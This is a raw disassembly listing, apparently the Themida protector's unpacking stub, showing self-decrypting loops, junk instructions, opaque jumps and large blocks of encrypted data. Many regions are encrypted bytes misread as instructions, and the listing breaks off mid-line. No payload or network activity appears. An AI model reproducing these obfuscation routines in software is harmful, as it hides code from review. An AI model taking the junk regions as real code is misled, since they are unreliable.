lea eax, [ebp+7E7B0A7h] call eax lea ecx, [ebp+7E426C1h] push ecx push 40h push dword ptr [ebp+7E406EDh] push dword ptr [ebp+7E40929h] call eax push dword ptr [ebp+7E406EDh] push dword ptr [ebp+7E40929h] call sub_5F78AE or al, 46h fild dword ptr [esi+esi*4] ; =============== S U B R O U T I N E ======================================= sub_5F78AE proc near ; CODE XREF: Themida_:005F78A4p arg_4 = dword ptr 8 pop edi pop edi sub edi, 4 shr [esp-8+arg_4], 2 shl [esp-8+arg_4], 2 add edi, [esp-8+arg_4] neg [esp-8+arg_4] mov edx, 0 loc_5F78C6: ; CODE XREF: sub_5F78AE:loc_5F78F5j push dword ptr [edx+edi] pop ebx sub ebx, 41212367h add ebx, 5144434Dh add ebx, 5475ADADh mov [edi+edx], ebx sub edx, 4 cmp edx, [esp-8+arg_4] jnz loc_5F78F5 jmp loc_5F790A ; --------------------------------------------------------------------------- dd 4B12306Eh db 0E9h ; --------------------------------------------------------------------------- loc_5F78F5: ; CODE XREF: sub_5F78AE+37j jmp loc_5F78C6 ; --------------------------------------------------------------------------- imul ebx, [eax+3Ah], 5Ch mov eax, ds:0EB79223Ch mov [ebx-266D1692h], bl loc_5F790A: ; CODE XREF: sub_5F78AE+3Dj lea ebx, [ebp+7E40405h] mov eax, [ebx] or eax, eax jz loc_5F7921 mov eax, [ebx] mov ebx, [ebx+4] mov [eax], ebx loc_5F7921: ; CODE XREF: sub_5F78AE+66j mov ecx, ecx call near ptr loc_5F793B+1 add ah, [edi-4E27C56Ch] push ds out 37h, al movsd outsd and al, 0D9h xor cl, [esi-5DE83ED3h] loc_5F793B: ; CODE XREF: sub_5F78AE+75p mov eax, large ds:6E8h sub_5F78AE endp ; sp-analysis failed add [esi+edx+26h], bl bound esi, [edx] imul eax, [ecx-3DF2D80Dh], 80595F74h jmp short near ptr loc_5F7979+3 ; --------------------------------------------------------------------------- add ecx, 632Bh pusha jmp loc_5F796D ; --------------------------------------------------------------------------- dw 0DE3Ah dd 4B0A77E6h, 80041D81h, 18468BA9h db 23h ; --------------------------------------------------------------------------- loc_5F796D: ; CODE XREF: Themida_:005F7959j popa mov esi, 5D39CD7Bh sub esi, 5D39B4E0h loc_5F7979: ; CODE XREF: Themida_:005F7950j jmp loc_5F7985 ; --------------------------------------------------------------------------- dw 0F207h dd 0F930DBD2h db 7Ah ; --------------------------------------------------------------------------- loc_5F7985: ; CODE XREF: Themida_:loc_5F7979j ; Themida_:005F79E2j push dword ptr [ecx] pop eax mov dh, 3Ah sub eax, 1F9F3Ah mov dh, bl sub eax, 0F9A6FC8h add eax, 53785ACBh jmp loc_5F79B0 ; --------------------------------------------------------------------------- db 0A0h dd 705737D8h, 0AD54394Ch, 9F23C51h ; --------------------------------------------------------------------------- loc_5F79B0: ; CODE XREF: Themida_:005F799Ej push eax jg loc_5F79BD or edx, 7606110Ah loc_5F79BD: ; CODE XREF: Themida_:005F79B1j pop dword ptr [ecx] js loc_5F79CA xor dx, 452Eh loc_5F79CA: ; CODE XREF: Themida_:005F79BFj sub ecx, 4 jnz loc_5F79DC ja loc_5F79DC or bl, 19h loc_5F79DC: ; CODE XREF: Themida_:005F79CDj ; Themida_:005F79D3j sub esi, 1 jnz loc_5F7985 xor dh, 94h lea ecx, [ebp+7EB55CEh] mov [ebp+7E41B71h], ecx push 0 push edx call sub_5F7A02 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F7A02 proc near ; CODE XREF: Themida_:005F79FAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5F7A02 endp ; --------------------------------------------------------------------------- fsubp st(3), st mov dword ptr [ebp+7E42DA1h], 5E1Ch clc mov dword ptr [ebp+7E422B9h], 0 xor si, 0DB39h push dword ptr [ebp+7E406A5h] xor edx, [ebp+7E42AD9h] call dword ptr [ebp+7E43061h] pusha xor ecx, 53BE0282h jmp loc_5F7A51 ; --------------------------------------------------------------------------- loc_5F7A4C: ; CODE XREF: Themida_:005F7AA7j db 65h dec ecx cdq aam 1Fh loc_5F7A51: ; CODE XREF: Themida_:005F7A47j popa push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5F7A9B ; --------------------------------------------------------------------------- dw 4CF9h dd 7CECDF50h, 3E25AEA6h, 66AEA9BDh, 0BF0C2751h, 37CE5484h dd 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh, 4DE17498h, 735F9B77h dd 33F81767h, 18E3B631h, 3F9EEA16h, 48D9AAA8h db 11h, 0A8h, 7Ch ; --------------------------------------------------------------------------- loc_5F7A9B: ; CODE XREF: Themida_:005F7A5Cj call sub_5F7AAB fsubp st(2), st xchg eax, esi fidiv dword ptr [ebx+edi*4+36h] jbe short loc_5F7A4C retn ; --------------------------------------------------------------------------- db 6Ah ; =============== S U B R O U T I N E ======================================= sub_5F7AAB proc near ; CODE XREF: Themida_:loc_5F7A9Bp adc cx, 9194h pop esi push esi mov ecx, [ebp+7E40979h] pop edx add esi, 7181h mov dl, 23h mov edi, 0D4EC6Bh xor edi, 0D4F05Fh mov cx, di loc_5F7ACF: ; CODE XREF: sub_5F7AAB:loc_5F7B43j mov ebx, [esi] add [ebp+7E42451h], ecx add ebx, 65927195h jno loc_5F7AE5 mov ch, 0E6h loc_5F7AE5: ; CODE XREF: sub_5F7AAB+32j sub ebx, 147B825Ah xor edx, 63DF8C0Fh xor ebx, 39170502h sub eax, [ebp+7E405C5h] push ebx mov edx, [ebp+7E41F1Dh] pop dword ptr [esi] mov edx, [ebp+7E4067Dh] sub esi, 4 pusha mov edi, [ebp+7E42A69h] mov si, bx popa sub edi, 1 jnz loc_5F7B43 mov [ebp+7E41505h], eax jmp loc_5F7B55 ; --------------------------------------------------------------------------- db 32h, 5Ah, 19h dd 44025A95h, 2E7C34D6h, 2247D36Ch db 0E2h, 0E5h, 0B4h ; --------------------------------------------------------------------------- loc_5F7B43: ; CODE XREF: sub_5F7AAB+75j jmp loc_5F7ACF ; --------------------------------------------------------------------------- dd 0FB4D6C4h, 0C8AFF110h, 418B22A6h db 34h ; --------------------------------------------------------------------------- loc_5F7B55: ; CODE XREF: sub_5F7AAB+81j jmp loc_5F7B65 ; --------------------------------------------------------------------------- dw 84Fh dd 4919h, 0 db 0 ; --------------------------------------------------------------------------- loc_5F7B65: ; CODE XREF: sub_5F7AAB:loc_5F7B55j jmp loc_5F8078 ; --------------------------------------------------------------------------- push 7EB57DEh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB5847h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB59D5h jmp loc_58A287 ; --------------------------------------------------------------------------- dd 0C5597B53h, 22B6D6AFh, 8216300Ch, 0E5798D6Ch, 44D8F4CFh dd 0F1CC856Bh, 512B41D5h, 0AB899F33h, 0EEB0195h, 0FFAF62F6h dd 0A9F6FD82h, 85145913h, 275F7B56h, 53317C59h, 116A053Dh dd 7D315E7Dh, 8B32B02Dh, 178013A6h, 69FA55C7h, 7A53409Dh dd 9E10A268h, 4F7E1D49h, 40394BA4h, 13A6CFBFh, 134BFB0Ch dd 0D877A2ECh, 38FD38AAh, 709EA466h, 31CBF5Eh, 41DF0000h dd 79144C64h, 0C7459267h, 50A00E81h, 0A68C05D3h, 963D313h dd 323C87Fh, 46515AB3h, 0EEC3E5CCh, 1D6D414Eh, 0DCBB59BBh dd 8AF590C8h, 110B2AF5h, 0EDE6F861h, 16EF2B8Fh, 0E5BCF45Dh dd 52B404AAh, 84BCDAB4h, 0C1DED7E9h, 8D1E8B10h, 5936D424h dd 8A16340Eh, 0BE5991B1h, 0DEBBD165h, 0D59572C6h, 0B2F25CEFh dd 3742Ch, 3A5C3400h, 97B790A6h, 0F711ED03h, 5A6E4D63h dd 0B9D5B0C6h, 0ADA64C25h, 0C22B6D2h, 6A801432h, 0CCE2768Ch dd 9043D7EFh, 0F79C63E0h, 0F53A13A9h, 6C424D66h, 0F60F9F1Ch dd 0DC4513A9h, 0FA10EE8Ch, 916C0AE8h, 6907E175h, 64906D8Ch dd 0C330FD63h, 633E586Ah, 66620F47h, 0F9EC5699h, 61B0041Ch dd 3A6A15D5h, 30B74FAh, 0C59D0000h, 20F90FA3h, 7A566C00h dd 0D7B6CC60h, 3E192FC3h, 4FB58E22h, 8B1F3B16h, 0E97D9B75h dd 4BDFF5D3h, 0AC405835h, 37CC49F9h, 0A313A9F8h, 424DCF5Eh dd 0A57E1C6Ch, 0A0B24D85h, 0F66945C2h, 82EB13A9h, 0A1B59432h dd 1A6ECE69h, 0EEDEF54h, 46F3B9CBh, 13A923B5h, 19450112h dd 0D8709AE6h, 193912B0h, 1C3813E1h, 0DB12B1C3h, 32000001h dd 2BAC53D0h, 0BA2A13A9h, 14F66A89h, 95A7000Eh, 617956C0h dd 667E5B29h, 1996F8D2h, 1442A062h, 0AF23F4E1h, 0A8F9E09Bh dd 8D72EF3Fh, 49144238h, 0E4ABCEE0h, 0FFDC7ACAh, 214AFE7h dd 0D750C224h, 54B67035h, 292C128Fh, 84DD578Bh, 0D3777972h dd 0D43D13A6h, 0EE980A9Ch, 126917E4h, 0F38C8597h, 5813A6BDh dd 0A05F1F47h, 35D87800h, 34h, 65424D5Eh, 0A8836FECh, 0CBF82C8Ch dd 0CD26421Dh, 24C22474h, 59F42C4Ah, 0B5984E47h, 0ED5613A6h dd 857708B5h, 0C3D413A6h, 0EC24DB83h, 0BBB1D877h, 0DA000000h dd 502E7956h, 0DBA9E13Ah, 8B70ED00h, 471442A0h, 0BB4D85DEh dd 1426421Dh, 0CD051DFAh, 0AABE9D3Bh, 0ABC5D772h, 466B6CEh dd 84BF6792h, 96012DF9h, 1442BFE1h, 0BF0AF16Eh, 5FC81442h dd 3F19A50Eh, 3C4EE921h, 0BB84251Ah, 0BE9B1442h, 9CF312A6h dd 91EA02DFh, 6366C441h, 57F513A4h, 6D4C5E7Eh, 3B16B404h dd 0C7C99E18h, 50A9951Bh, 0AFCBA6BCh, 19D6C05Bh, 29AFEF6Ah dd 17Dh, 9D31532Bh, 0FA8EAE87h, 5AEE08E4h, 0BD516544h dd 1CB0CCA7h, 0C9A4BD43h, 290319ADh, 8361770Bh, 0E6C3D96Dh dd 0D7873ACEh, 0A9F9A55Ah, 5DEC3113h, 0CB5F7B56h, 5F7553F1h dd 3E56334Dh, 3092D9AAh, 42A0CCB3h, 0F218A14h, 0F2CD18F5h dd 0BB2D7DD6h, 0D5CD2B5Eh, 975D6F41h, 40D4ECC9h, 0F0406E21h dd 0A6E46F73h, 74C42D13h, 0D3ACFBD6h, 3089A580h, 76943D7h dd 0FB5328A5h, 96FF13A6h, 0A6FB542Bh, 0D990213h, 47E21A2Eh dd 0FB433C35h, 9E1013A6h, 0EA9CD74h, 0F27A59FEh, 0EE27CC2Ch dd 0B693ADBFh, 19F40A9Eh, 340FADFDh, 0E545E018h, 7F444D81h dd 2FF5072Eh, 0C4A9h, 424D3800h, 0B435D39h, 27DB5C69h dd 29823734h, 0B70380D0h, 0A613A9ABh, 0D8102E08h, 0BA132F0Ah dd 1416ED6Ah, 5BC413A9h, 0B1016A49h, 0AC9B353Fh, 0C9DB1983h dd 40583503h, 5D7552F0h, 61169325h, 0ED13A931h, 0F7192B84h dd 9CEC04E1h, 0FAD522FEh, 0B20BA6DEh, 532DDAA0h, 305D5B65h dd 0AF8CF3B3h, 25D54797h, 0A3C39C0Ch, 0F370D06Bh, 9FC1D33Ah dd 568DAC89h, 0D4E86907h, 5991AB87h, 981565BEh, 429F0CE3h dd 5DAD066Fh, 49F4A6EBh, 74F05070h, 7C425483h, 0DDB4CFAEh dd 0BB423E16h, 762D65BEh, 9B78E79Fh, 0DE680F8Ch, 0D2AB429Fh dd 0A8F861B2h, 9FDE542Bh, 40990242h, 0A1B996ACh, 3E369h dd 8D720000h, 5C7E563Eh, 61795624h, 677D5B29h, 6987612Fh dd 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h dd 8953EE43h, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h dd 3DC6824h, 34890000h, 773B6824h, 3C890000h, 0BF575524h dd 2AC7233Bh, 3263DCBDh, 5FFD2969h, 80165CBEh, 5DEE01C9h dd 4EC81h, 24890000h, 24048324h, 65685F04h, 89000015h dd 478F2434h, 2434FF08h, 4C4815Fh, 0FF000000h, 835E2434h dd 1CE904C4h, 0A5FFF922h, 0D2059E50h, 5A302644h, 0D35119Fh ; --------------------------------------------------------------------------- loc_5F8078: ; CODE XREF: sub_5F7AAB:loc_5F7B65j mov eax, 7EB5B77h add eax, ebp jmp eax sub_5F7AAB endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7Bh, 6Dh, 63h ; --------------------------------------------------------------------------- inc ecx retf 0F100h ; --------------------------------------------------------------------------- dd 0AD0A5D7Ch, 188B825h, 901F7E6Ch, 0C8C13232h, 2C22AD50h dd 704F6F07h, 7CBA9C77h, 0BFE26F07h, 0C93B556h, 0DC754D54h dd 8D030308h, 0C544265Fh, 711EF501h, 0ABCE3625h, 9637818h dd 0C0379617h, 4963582Bh, 0B66B2A10h, 0AE6D1A56h, 0CE4D0A29h dd 11E83Fh, 456F0000h, 0B8641871h, 0EBA35E1Fh, 0F352109Ah dd 0B62E2F5Eh, 81665BD9h, 81177FDAh, 5C9FC3h, 0F08B6600h dd 0D3CB8B9h, 0BAE9813Fh, 0F3F0D25h, 33FFD6B7h, 5FF28B66h dd 0F6BE5356h, 5A4D7A83h, 0F2C7815Eh, 0BA7BC6E7h, 788136E0h dd 9E51F781h, 14E94FC3h, 0CD000000h, 8421F666h, 40468346h dd 13E21F0h, 0C5722948h, 819AA588h, 89179BF7h, 57D78B76h dd 69D5DA81h, 38F4E5Ch, 81C2BF0Fh, 6210EAEBh, 0CA816668h dd 0C38174D0h, 686210E6h, 49C1BF0Fh, 0FF98850Fh, 0EE9FFFFh dd 88000000h, 46BB64E9h, 286687C8h, 101CA3A9h, 5E824h dd 0FCE90000h, 0E99E01FCh, 0Bh, 732A6376h, 0A962A740h dd 5B3EBDC5h, 0AE8h, 76FDE00h, 9B40D7F9h, 0E90E43A6h, 0Ch dd 5C9E4910h, 0D3A80EE5h, 87EFA7E3h, 79C3815Eh, 0E9000059h dd 9, 0BFC105D7h, 6DAB73E3h, 163168B5h, 0E95F0000h, 10h dd 7A298084h, 32927872h, 0CE9973B9h, 0A1A659E2h, 0EA81038Bh dd 1E1C20A1h, 9543F081h, 81F96BCEh, 305371C0h, 0D18B6017h dd 61D7BF0Fh, 0E20EE881h, 6E96B82h, 3000000h, 4051C91Ah dd 0F5038955h, 0F04EB83h, 38Ah, 0CFB70F00h, 1EF81h, 850F0000h dd 0FFFFFFB8h, 5820Fh, 81660000h, 8B2234C1h, 0F1BD83C0h dd 7E413h, 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h dd 421h, 14798589h, 9D8D07E4h, 7E6E9F0h, 585BD3FFh, 935BD83h dd 740007E4h, 0B8535017h, 421h, 14798589h, 9D8D07E4h, 7E6E6DFh dd 585BD3FFh, 9D8BC08Bh, 7E415DDh, 2C2D85C6h, 685607E4h dd 9CA8B852h, 2141B5FFh, 858D07E4h, 7E7B0A7h, 46AD0FFh dd 100068h, 1B5FF00h, 6A07E41Ah, 85D0FF00h, 0D850FC0h dd 0B8000000h, 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+7E472B7h] jmp ecx ; --------------------------------------------------------------------------- dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 5BD83D3h, 7E404h dd 0E840Fh, 9D8B0000h, 7E40405h, 3215858Bh, 38907E4h, 858D5251h dd 7E44452h, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 2C2D85C6h dd 685607E4h, 0D41F6D39h, 2141B5FFh, 858D07E4h, 7E7B0A7h dd 68D0FFh, 6A000080h, 0D0FF5200h, 0BD83C08Bh, 7E413F1h dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 421B8h dd 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h dd 7E409h, 53501774h, 421B8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh dd 5BD3FF07h, 8DC08B58h, 0E404059Dh, 0B038B07h, 7840FC0h dd 8B000000h, 45B8B03h, 41B81889h, 0E800004Bh, 6, 0EF7BC23Ch dd 0B8660F0Bh, 0B95E7607h, 6755B718h, 5A4CC681h, 81660000h dd 0BAEBA8D1h, 0 ; --------------------------------------------------------------------------- jg loc_5F83EA jmp loc_5F83EA ; --------------------------------------------------------------------------- retn 6709h ; --------------------------------------------------------------------------- dw 0F35Dh dd 1F18C233h, 0E4D73DFEh ; --------------------------------------------------------------------------- mov esi, [ebx] ; START OF FUNCTION CHUNK FOR sub_5F841C loc_5F83EA: ; CODE XREF: Themida_:005F83D0j ; Themida_:005F83D6j ... push dword ptr [edx+esi] and ebx, 2BA3CD68h pop edi xor ch, 0A3h add edi, 31D8A442h pusha add ebx, 3B80EF7Ch pusha mov cx, 0A1ECh call sub_5F841C jnp short near ptr dword_5F82DC+0F0h ; END OF FUNCTION CHUNK FOR sub_5F841C ; --------------------------------------------------------------------------- dd 6C09598Fh, 295C8234h, 0A9DE07FEh ; =============== S U B R O U T I N E ======================================= sub_5F841C proc near ; CODE XREF: sub_5F841C-13p ; FUNCTION CHUNK AT 005F83EA SIZE 00000026 BYTES pop eax popa popa add edi, 15DFD16Eh and bl, 0C0h add edi, 1071B172h mov eax, ebx mov [esi+edx], edi cmc sbb ax, 0D23Ch sub edx, 1 jno loc_5F8447 pusha mov ch, 53h cld popa loc_5F8447: ; CODE XREF: sub_5F841C+20j dec edx dec edx dec edx pusha mov edx, 2E765561h mov edi, edx popa cmp edx, 0FFFFA664h jnz loc_5F83EA push eax add ah, 1Ch pop eax call sub_5F8479 sub_5F841C endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3Dh, 22h, 70h dd 5150BE21h, 26E8C3E9h, 0BC0451Ch db 0DEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5F8479 proc near ; CODE XREF: sub_5F841C+48p call loc_5F8492 pushf dec dword ptr [ecx+eax*4+6434DED8h] and al, 0FCh jmp near ptr 0C6F2690Dh sub_5F8479 endp ; --------------------------------------------------------------------------- mov al, ds:90395096h loc_5F8492: ; CODE XREF: sub_5F8479p js loc_5F84AE jmp loc_5F84AE ; --------------------------------------------------------------------------- pop ds retn 0BDCCh ; --------------------------------------------------------------------------- db 0BFh, 0Fh, 75h dd 0A7B39804h, 0E01BD07Fh db 0BDh, 0EBh ; --------------------------------------------------------------------------- loc_5F84AE: ; CODE XREF: Themida_:loc_5F8492j ; Themida_:005F8498j pop ecx pop eax jmp loc_5F84C0 ; --------------------------------------------------------------------------- db 0B5h, 7Eh, 25h dd 0E952B6CEh, 7CBCDA8Eh ; --------------------------------------------------------------------------- loc_5F84C0: ; CODE XREF: Themida_:005F84B0j add eax, 0E811h mov esi, ecx sub edx, edx jmp loc_5F84D8 ; --------------------------------------------------------------------------- db 74h dd 84F8B25Dh, 0BBC9F42Fh ; --------------------------------------------------------------------------- loc_5F84D8: ; CODE XREF: Themida_:005F84CAj ; Themida_:005F8539j push dword ptr [edx+eax] clc pop edi mov ch, ah sub edi, 7F0B0CBCh xor edi, 148F6489h jge loc_5F8504 jmp loc_5F8504 ; --------------------------------------------------------------------------- mov ds:483859ACh, eax loc_5F84FB: ; CODE XREF: Themida_:005F8555j xchg dl, [esi-2B54D312h] ; --------------------------------------------------------------------------- db 31h, 91h, 0E1h ; --------------------------------------------------------------------------- loc_5F8504: ; CODE XREF: Themida_:005F84EBj ; Themida_:005F84F1j sub edi, 2F0BCFFBh jmp loc_5F851D ; --------------------------------------------------------------------------- db 6Dh dd 0E26EF24Bh, 0C9CB43B9h, 0E4896FC0h db 15h ; --------------------------------------------------------------------------- loc_5F851D: ; CODE XREF: Themida_:005F850Aj mov [eax+edx], edi jmp loc_5F852A ; --------------------------------------------------------------------------- pop ecx aam 5Fh mov dl, 0F2h loc_5F852A: ; CODE XREF: Themida_:005F8520j sub edx, 2 cld dec edx dec edx add ch, 78h cmp edx, 0FFFF18D0h jnz loc_5F84D8 jno loc_5F854E js loc_5F854E loc_5F854B: ; CODE XREF: Themida_:005F8553j add bl, 4Ah loc_5F854E: ; CODE XREF: Themida_:005F853Fj ; Themida_:005F8545j push ebp in eax, dx std jnz short loc_5F85B1 ; CODE XREF: Themida_:005F85B9j jp short loc_5F854B jbe short loc_5F84FB imul esp, esi, 0FD49BC56h or [edx+25h], eax std outsd insb and eax, 257AACFDh std add bh, dh and eax, 253BFCFDh std jmp far ptr 25A8h:0B3FD25D9h ; --------------------------------------------------------------------------- db 0FDh, 90h, 10h ; --------------------------------------------------------------------------- loc_5F857B: ; CODE XREF: Themida_:005F85E9j and eax, 254C8FFDh std retf 256Dh ; --------------------------------------------------------------------------- dd 257A83FDh db 0FDh, 0E4h ; --------------------------------------------------------------------------- loc_5F858A: ; CODE XREF: Themida_:005F85BDj ; Themida_:loc_5F85ABj ... lock and eax, 253441FDh std db 26h setalc and eax, 25A703FDh std iret ; --------------------------------------------------------------------------- dw 251Eh ; --------------------------------------------------------------------------- std loc_5F859D: ; CODE XREF: Themida_:005F85F5j adc eax, [edx+25h] std popf and eax, 2295358Ah ; --------------------------------------------------------------------------- db 0A2h db 0D6h, 76h ; --------------------------------------------------------------------------- loc_5F85AA: ; CODE XREF: Themida_:005F85DDj dec edx loc_5F85AB: ; CODE XREF: Themida_:005F85EDj jno short near ptr loc_5F858A+1 pop esp ; --------------------------------------------------------------------------- word_5F85AE dw 4BBDh ; CODE XREF: Themida_:005F85B7j ; --------------------------------------------------------------------------- loc_5F85B0: ; CODE XREF: Themida_:005F85C1j hlt ; --------------------------------------------------------------------------- loc_5F85B1: ; CODE XREF: Themida_:005F8551j pop esp loc_5F85B2: ; CODE XREF: Themida_:005F85B3j pop edx jp short loc_5F85B2 jnz short near ptr loc_5F85DD+1 jb short near ptr word_5F85AE jnz short near ptr loc_5F8551+1 ; CODE XREF: Themida_:005F85BBj ; Themida_:005F85C3j ... jns short near ptr loc_5F85B9+1 jz short loc_5F858A ; CODE XREF: Themida_:005F85BFj js short near ptr loc_5F85BD+1 jnb short loc_5F85B0 jge short near ptr loc_5F85B9+1 loc_5F85C5: ; CODE XREF: Themida_:loc_5F85C7j jz short near ptr loc_5F85B9+1 loc_5F85C7: ; CODE XREF: Themida_:loc_5F85E1j jnp short loc_5F85C5 loc_5F85C9: ; CODE XREF: Themida_:005F85CBj jz short loc_5F8643 jnp short loc_5F85C9 jnz short near ptr loc_5F858A+1 ; CODE XREF: Themida_:005F85CFj jp short near ptr loc_5F85CD+1 jnz short loc_5F8631 ; CODE XREF: Themida_:005F85D3j jp short near ptr loc_5F85D1+1 jbe short near ptr loc_5F85E3+1 mov fs:0A265DE75h, al ; CODE XREF: Themida_:loc_5F85E5j loc_5F85DD: ; CODE XREF: Themida_:005F85B5j ; Themida_:005F85DFj jnz short loc_5F85AA jp short near ptr loc_5F85DD+1 loc_5F85E1: ; CODE XREF: Themida_:loc_5F85E3j jnz short loc_5F85C7 loc_5F85E3: ; CODE XREF: Themida_:005F85D5j jnp short loc_5F85E1 loc_5F85E5: ; CODE XREF: Themida_:005F85E7j jz short near ptr loc_5F85D7+3 jnp short loc_5F85E5 jz short loc_5F857B mov dl, 0F8h jnz short loc_5F85AB sbb dh, [eax-10h] test [esi], ebx push ss jb short loc_5F859D ; --------------------------------------------------------------------------- db 0FFh dd 7D7C14EFh db 70h ; --------------------------------------------------------------------------- loc_5F85FD: ; CODE XREF: Themida_:005F8655j lock cmp bl, [esi] push ss jb short loc_5F866F jmp fword ptr [edi] ; --------------------------------------------------------------------------- adc eax, 0F0707D19h loc_5F860A: ; CODE XREF: Themida_:loc_5F8631j push esi pop ds push ss jb short near ptr loc_5F8643+1 push ebx adc al, 0B5h jge short loc_5F8685 lock mov al, ds:1E72161Eh jmp fword ptr [ebx] ; --------------------------------------------------------------------------- db 15h, 20h, 7Dh dd 1EABF070h, 0FF7B7216h, 7D921527h, 1850F070h ; --------------------------------------------------------------------------- push ss loc_5F8631: ; CODE XREF: Themida_:loc_5F85D1j jb short loc_5F860A jmp dword ptr [ebx] ; --------------------------------------------------------------------------- db 15h, 0C4h, 7Dh db 70h, 0F0h, 69h ; --------------------------------------------------------------------------- loc_5F863B: ; CODE XREF: Themida_:005F8649j sbb [esi], dl jb short near ptr loc_5F867D+4 call fword ptr [edi] ; --------------------------------------------------------------------------- db 15h, 0Eh ; --------------------------------------------------------------------------- loc_5F8643: ; CODE XREF: Themida_:loc_5F85C9j ; Themida_:005F860Dj jge short near ptr loc_5F86B2+3 lock out 19h, al push ss jb short loc_5F863B call fword ptr [ebx] adc eax, 0F0707D57h xor [ecx], ebx push ss jb short loc_5F85FD dec dword ptr [edi] adc eax, 0F0707D7Ch lock sbb [esi], edx jb short loc_5F86CF call dword ptr [edi] adc eax, 0F0707D19h and ebx, [ecx] push ss jb short near ptr loc_5F86A3+1 loc_5F866F: ; CODE XREF: Themida_:005F8601j call dword ptr [ebx] adc eax, 0F0707DB5h inc eax sbb [esi], edx jb short loc_5F8699 dec dword ptr [edi] loc_5F867D: ; CODE XREF: Themida_:005F863Dj adc eax, 0F0707D20h dec esp sbb [esi], edx loc_5F8685: ; CODE XREF: Themida_:005F8613j jb short loc_5F8702 ; --------------------------------------------------------------------------- db 0FFh dd 7D9214FFh, 1974F070h, 0FFD77216h, 7DC414FBh db 70h ; --------------------------------------------------------------------------- loc_5F8699: ; CODE XREF: Themida_:005F8679j ; Themida_:005F86A9j lock jl short near ptr loc_5F86B2+3 push ss jb short loc_5F86E1 push edi adc al, 0Eh loc_5F86A3: ; CODE XREF: Themida_:005F866Dj jge short near ptr loc_5F8713+2 lock mov byte ptr [esi], 16h ; CODE XREF: Themida_:005F870Cj jb short near ptr loc_5F8699+2 dec dword ptr [ebx] adc eax, 0F0707D57h loc_5F86B2: ; CODE XREF: Themida_:loc_5F8711j ; Themida_:loc_5F8643j ... xor eax, 0A672161Eh inc dword ptr [edi] adc eax, 0F0707D7Ch int 1Fh ; (NOT a vector!) GRAPHICS SET 2 ; pointer to bitmaps for high 128 chars (eight bytes per character) push ss jb short loc_5F872F inc dword ptr [ebx] adc eax, 0F0767D19h in al, 5Dh sbb [edx+35h], esi loc_5F86CF: ; CODE XREF: Themida_:005F8661j push dword ptr [esi+767DB514h] lock rcl byte ptr [esi+19h], cl jb short near ptr loc_5F86F7+2 push dword ptr [edx-6382DFECh] loc_5F86E1: ; CODE XREF: Themida_:005F869Dj mov dh, 0B0h icebp adc [ebp+75FD7AF2h], ebx and edi, ebx pop ss sub bl, dh ; CODE XREF: Themida_:loc_5F872Fj xchg eax, ecx cli and eax, 0FDF53FD5h lodsd loc_5F86F7: ; CODE XREF: Themida_:005F86D9j xor [esi+ebx*4-48CBDD70h], bl iret ; --------------------------------------------------------------------------- db 7Ah db 0ACh, 23h ; --------------------------------------------------------------------------- loc_5F8702: ; CODE XREF: Themida_:loc_5F8685j mov bh, 29h lodsd and [edx], bl ; CODE XREF: Themida_:005F8707j jp short near ptr loc_5F8705+1 jnz short loc_5F8784 daa jl short near ptr loc_5F86A5+1 cmp al, 18h push ss loc_5F8711: ; CODE XREF: Themida_:005F876Fj ; Themida_:005F8779j jb short near ptr loc_5F86B2+1 loc_5F8713: ; CODE XREF: Themida_:loc_5F86A3j jmp fword ptr ds:0C87D7DC4h[edx] ; --------------------------------------------------------------------------- dw 1A46h dd 9CF7216h, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h ; --------------------------------------------------------------------------- mov dl, 14h push edi loc_5F872F: ; CODE XREF: Themida_:005F86C1j jge short near ptr loc_5F86ED+1 ; --------------------------------------------------------------------------- db 0FEh, 96h, 2Bh dd 7A2F7A45h, 35028AFDh, 0F7CC9E9Ch, 9185A748h, 0FCC6F8FAh dd 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 35BA8AFDh, 0F7909E9Ch dd 91ABA748h, 0FCD1F8FAh, 23228A50h ; --------------------------------------------------------------------------- pop ds loc_5F8769: ; CODE XREF: Themida_:005F878Dj mov esp, 152CF787h push edi jge short loc_5F8711 sub eax, 2CA32005h in al, dx xchg eax, edx insd ja short near ptr loc_5F8711+1 jp short loc_5F87CA int 0C1h ; used by BASIC while in interpreter jns short loc_5F87D8 mov dh, [eax+31h] loc_5F8784: ; CODE XREF: Themida_:005F8709j pushf sahf cmc sar dword ptr [esi], 1 popf loc_5F878A: ; CODE XREF: Themida_:005F878Bj pop es js short loc_5F878A jnz short loc_5F8769 retn 0CD9Bh ; --------------------------------------------------------------------------- dw 5954h dd 0EFD0DE9Bh, 7D7C14B6h, 9208DE9Bh, 7AE57795h, 72F3360Bh dd 0EF866E88h, 7D5714B6h, 7954C54Dh, 31BA8AADh, 20909E9Ch dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h db 0FFh, 75h ; --------------------------------------------------------------------------- loc_5F87CA: ; CODE XREF: Themida_:005F877Bj jns short near ptr loc_5F87F4+1 adc eax, 0FD7ABE4Eh das mov al, gs:59A57B89h loc_5F87D8: ; CODE XREF: Themida_:005F877Fj cmp eax, 0DF709491h cmc pop es mov edx, 0D183FE4Dh db 3Eh popf add [ebx-3], bh jnz short loc_5F8815 xchg eax, edx loope loc_5F8865 mov esp, 844EA77Ah push cs loc_5F87F4: ; CODE XREF: Themida_:loc_5F87CAj adc al, ch dec ecx rcl byte ptr [esi], 1 test eax, 75FCA77Fh ; CODE XREF: Themida_:005F881Bj retf ; --------------------------------------------------------------------------- db 8Ch dd 